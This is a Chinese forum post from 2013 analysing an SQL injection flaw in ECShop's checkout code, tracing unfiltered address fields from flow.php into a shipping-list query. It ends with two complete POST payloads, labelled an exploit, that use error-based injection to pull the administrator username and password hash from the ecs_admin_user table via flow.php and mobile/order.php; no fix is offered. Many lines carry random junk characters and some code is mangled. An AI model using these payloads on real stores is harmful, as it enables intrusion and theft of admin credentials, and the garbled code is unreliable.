找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1965|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。
  G- H6 o1 O# ]% F3 }3 \
! `9 ]$ ^0 w( P9 n7 Z  R    漏洞关键文件:
0 L  Y) t  Y/ C. T6 r" |  C8 E) S2 r7 l; m( _
    /includes/lib_order.php
8 ~$ I; C! w# \' h" Z* r
8 p3 ~* c1 t3 t$ a' n" n    关键函数:8 {! _+ |5 q; _4 w
0 A& s2 G$ d6 x) P
& T. [( d1 U/ m" p; T9 R$ b
2 P% W7 [3 \7 A4 O
01     function available_shipping_list($region_id_list) ( ~- F" i2 x4 ^( B( G

, U) s( i9 m7 @( J02 { ' d+ F6 N% G) c" J/ P4 q
+ v; {/ o% ?  }
03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
/ t2 v' {! J+ ?, ~4 {" q. Y1 ?. r' l
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
$ i! B1 a. @3 _, v0 c$ D6 u% d1 L) E& U- b+ s& o( Q
05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
, q* h7 b9 `# J" u8 {  Y9 ]' f1 H4 ]/ i
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . 6 N7 S: P+ N+ F6 l/ G9 v

6 i& Q: `. m0 i/ k4 G07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. 4 \- [- s8 S9 i7 j: r6 e' D

* N% @" c; Q% t- x08             'WHERE r.region_id ' . db_create_in($region_id_list) .
& M5 s  z* W( T2 j! \1 N5 K# m0 k7 L* _. H+ R( M& |
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';
2 T3 N* o. d: C& K# _2 c( n+ S; L. y4 ?% B8 b% h( E: w/ I
10   5 K3 P2 r7 y  p+ @0 g9 h# m

' m+ k- Z" l% _: i9 Q4 u$ }8 A11     return $GLOBALS['db']->getAll($sql);
# i8 `4 m5 k4 H# f8 B5 A, V( L. s" ^" M2 e3 M9 C
12 } # ^" r5 l# J6 y
4 h6 w  I% p' r: `+ R
显然对传入的参数没有任何过滤就带入了查询语句。0 \; _9 l6 L  Y3 X
" v! c) n1 B4 b( \/ D
下面我们追踪这个函数在flow.php中:
9 q; U5 H/ d/ K" R5 Z 第531行:   
2 U* A& t* e+ r2 ~: K+ Q, y+ y% I
1 $shipping_list     = available_shipping_list($region);
! z; r9 [9 Z0 p8 J  H+ v
7 A  `: j! M! o8 F
( C3 ]4 c; B- j! \, l- N! A' P. e6 j" a2 c* L- H
% A+ R& d$ o6 W" ^: V

' Y" c' C0 {& j6 {再对传入变量进行追踪:* U3 t3 R* u5 N4 {' V

# D2 {; T" V* Y. Q* A/ `, W) H第530行:    # g- W. T9 V! z* G- O7 \3 K
5 p5 }9 j" o4 n& p
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); & Q) j6 B# \$ r
% K0 t$ ?, D& P5 q: f/ m: N7 h

, L  S! W2 [1 M* K) X, y9 U
8 X8 c4 x7 Z, n, e ) E" o: r( s0 B0 u( A* [
% A2 ]9 C  H0 x, R3 `% x
第473行:        ; M7 Y) X4 Q' ^

( ]( a9 g5 _# i1 $consignee = get_consignee($_SESSION['user_id']);
* l/ p& @" s1 t8 r
5 H$ y: M* a* Q到了一个关键函数:0 A  T& t! R# ^

$ Z/ A" K: H9 B/ b3 u/includes/lib_order.php: u+ I8 @0 h( x/ n" A8 Z
; e; m, e. I" B" e
4 g( b  B1 r3 R0 P0 I4 i

. P" [% H3 N, o% A) M. G : n; h! V" T4 V: L# @8 s
  M1 s/ j% N) t/ [0 O( j/ q
01 function get_consignee($user_id)
  X  f: p! Z4 n/ {/ p/ c; l
" ?: W/ \8 `& y7 c0 N02 { - L1 w& j% Y3 H# F; {

) |" u& ~& T6 d2 V2 P& P7 G03     if (isset($_SESSION['flow_consignee']))
/ U' b) R6 v) R, Z& U# c, p
. {/ F1 K+ @% L8 a9 B04     { , l! N' ?$ U, v9 C$ o/ v& F3 K

" G8 [$ \$ u+ R05         /* 如果存在session,则直接返回session中的收货人信息 */
  i7 [- H: F8 ^3 \( C2 d8 w
' d( l. U$ R3 z06   0 m$ A. s+ d1 v) A3 p

0 K6 A6 m  n# b+ z07         return $_SESSION['flow_consignee'];
0 `4 L; U+ h9 S4 Y/ J2 o  P7 |7 T2 Q% I, i4 \( o' r+ z- m
08     } ! @8 }- Y+ {) U2 D) I9 q

1 z! b  p+ Y/ c+ \. {, A7 l; H" n09     else + Y8 I4 G/ \( m7 e. E4 l  U; O
+ K4 t0 z! K. X6 j4 d! |2 ^+ D/ J
10     { $ b' _0 A' W) M  j
! [, l( o, F7 M, T% f
11         /* 如果不存在,则取得用户的默认收货人信息 */ & l2 f  U: k. _- w' K6 t
8 n1 d0 m  F/ ?; T
12         $arr = array(); 8 N7 F% M8 M8 m+ i

9 |. \* c' Y, {13   + E: o: e* w, Y3 V- m7 O0 E
5 i0 O1 |8 @$ L9 H& ?, q
14         if ($user_id > 0) + |$ _2 N% g% ~8 m$ e1 G5 V4 T

  l; G/ I& C8 H; z: X; B& K15         { 7 `1 v+ F: ~2 `4 W6 {

  W0 J& O$ X, H# i16             /* 取默认地址 */
% Y3 M2 e: X& n+ \+ ?5 x
1 |! r2 n: {5 ?1 w17             $sql = "SELECT ua.*".
$ q# N% R7 X9 D# _' r" @/ ^8 l! Q! F# @& f: o  ~
18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
+ I& f$ x4 A* z0 B0 J! M. p4 C  [% e. r' @: y" X
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; 5 j5 v5 }3 n4 H& P1 y) M  S: j
* f8 K/ W8 ^7 m
20   9 W4 X. P9 O' ~+ B3 B# W/ V$ T

8 ]! @$ {2 R4 u9 `: Q6 I$ f21             $arr = $GLOBALS['db']->getRow($sql);
2 |" E$ O/ f+ J, G+ Y4 o3 i: @
. E; E! A. ]" p, N) @& u8 C22         }
3 ^# Z2 D/ N3 _$ B5 N" ~1 S) w/ U3 s! q" u. i2 P2 O
23   
* R5 h6 |7 f: k+ G. Q, j
' d: `) D, _( j, B0 Y2 v24         return $arr; 9 U8 A4 {2 n- X$ _; A. o; N6 P
* S9 w9 ?- P2 H7 ?) H7 {
25     } 3 ?4 [! V6 L) X0 Y, b7 T
% W0 c' e# @" _1 }; y9 i# U
26 } , @7 A2 R2 v) K) q$ A1 y
0 {9 X; T5 s' r' _' e4 n
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
6 o8 N2 U1 r. w: I1 _1 [4 C& A) Q' X% l7 ?8 Z

, R0 C. c6 Y5 c
1 q( u' N+ R+ S6 u7 C. x关键点:% V) }, _2 d& }# {5 Q6 Z8 b

; v6 a( a! c& M第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
7 U3 W3 D3 w. W
$ _9 N$ z) O9 Q: r- M/ K这里对传入参数反转义存入$_SESSION中。
! c2 d/ s4 T3 m# Q. O; C/ M4 H3 z% e

1 b/ m2 d+ Z4 V. M' M) j; A- @
% U5 c9 }5 @4 N/ K然后看下:
, ~7 v- S6 N9 T" A+ W
* w: f/ g# ^. n# J7 _" w 1 ~8 f/ \5 m7 R7 c, [9 q9 P) k/ T1 x8 d

# \; P3 R6 }) m   
4 ^  ^% t( Z8 _: F
0 d, D7 X' C+ I3 I! Y9 x  t  B01 $consignee = array( 4 E/ Z/ H2 b+ {
6 e* c6 ~# H8 e2 J
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']), 2 G1 L2 o0 Z- `( u$ ^: Z

4 ]# N- ]( [: }03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']), 6 F! ?7 B4 H1 @  p  r1 P
1 Q  V/ c5 L& M
04         'country'       => empty($_POST['country'])    ? '' _POST['country'], - C$ |  q# L5 M# `5 q  C# j
8 F  D9 i* Q0 p
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
3 ]* W' D  P, s4 ]: y3 t3 X' R( ?$ [! i
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
; Y1 N4 p  w5 Z0 S( K- T6 Y3 i1 b& L- v2 R
07         'district'      => empty($_POST['district'])   ? '' _POST['district'], 5 w- D# N! B/ k# c

7 d! ]) C/ A# n6 G, o08         'email'         => empty($_POST['email'])      ? '' _POST['email'], 5 C! T* g( M0 m7 y+ m0 g
2 h( [3 u. f3 i* s& c$ Y" n" ^
09         'address'       => empty($_POST['address'])    ? '' _POST['address'], ; q  A! A2 v; |, v9 h) ~  l9 B% G
2 ?+ f: [2 z& [/ ^
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), 5 F5 l9 W# T( }: K" t; ~8 P

" W7 W- e1 ?% q  c, c" g9 t11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), 7 }3 v1 W+ E& W: e& }* p- W

5 V0 w( |$ N% C+ h( V" ?' O2 I12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), / v9 d4 t- m& ?2 E) {; K  Q

) Q) o2 Y0 L; `0 Z! ~9 o, a. X13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
6 u' {1 `& y. |$ D: G0 E* z% h  k/ s$ b# y
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
0 a) R6 \; i$ a+ ]. s# d/ b- U5 j2 l, S1 B5 u# V! D
15     );
2 u1 E6 h+ A" A1 f( |& A( N' l8 n+ d
* j6 i# x; e# M8 A* N- U好了注入就这样出现了。: j. [9 z# j6 |' o0 I

* W8 G6 n8 J% Q4 ?+ X==================
' e; T, M( _6 Y! b# `. {6 e; Q+ N
注入测试:0 A7 `5 {7 W! X5 G3 W; F- n

% J# z/ E) V! p2 t* {) I4 K环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)2 n5 h$ n$ ]. p0 X, h0 f- J7 S4 D
% x# N, d# F* X0 g
测试程序:ECShop_V2.7.3_UTF8_release1106
& m; j( Z  C8 G1 H; l( c) f$ C6 `7 a5 x" B

. R8 K7 ]. A2 d' M8 d( G  W1 j7 e4 l4 K. ]* ?9 ^" Q# p
1.首先需要点击一个商品加入购物车
  y% O1 n, r; Y0 L& m6 c  t: o# o0 y6 m! R! Q: b2 C
2.注册一个会员帐号
7 v# i0 ?# Q$ d9 V
$ h- x/ z( i4 B6 Q+ n8 T* ~  r3.post提交数据, Z- O3 Z$ D, @6 n# |$ Y5 K
2 N5 @& s  r. q9 B6 N. _5 n5 m
, s! q: J/ S  t4 Y
0 p" v$ }& q3 }9 O7 T
1 http://127.0.0.1/ecshop/flow.php 4 a+ v5 s8 |7 Z6 R

, A4 M  ]6 f5 Y2   
4 d# n3 K3 c* s0 S5 Z, t  [$ [3 ~" f, P8 B+ D" h& F
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= ( `$ r) i/ E1 }7 K3 l5 [7 @  v4 n
举一反三,我们根据这个漏洞我们可以继续深入挖掘:  s7 C, G0 W  \* X& y, Z
1 U2 t+ @4 t8 W* j2 y# ]+ a
我们搜寻关键函数function available_shipping_list()
6 s6 W7 b! Z0 i4 d
9 r& p3 {: h" ?" A在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同
. Y6 U  c( W5 j7 t& Y( [) J# M4 a7 @8 |9 x
利用exp:
1 [. I( k4 ~  Q% f  T+ @6 k; B! u5 Z' F. D) Y5 a/ Q
1.点击一个商品,点击购买商标# G; j' Y0 |! C

5 |5 j& B2 ~9 J8 l% W2 v  J2.登录会员帐号' k3 o$ i9 a+ \" O$ l% P
/ Y6 g0 s, _& `9 _1 f. N; z4 A# S, z
3.post提交:( O4 c; p/ j! W, y5 c: l6 I
% b4 J/ H8 J4 k* q
http://127.0.0.1/ecshop/mobile/order.php$ @; P8 r8 U/ V* w, A7 S

" I( ~5 Z% e% i  X2 P % g* O6 w4 ]: `: u! M; ^. d

* l/ p' w4 j- pcountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
! _7 {# \$ m1 U0 i. E3 E6 m  w$ f! M- w* L) s
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表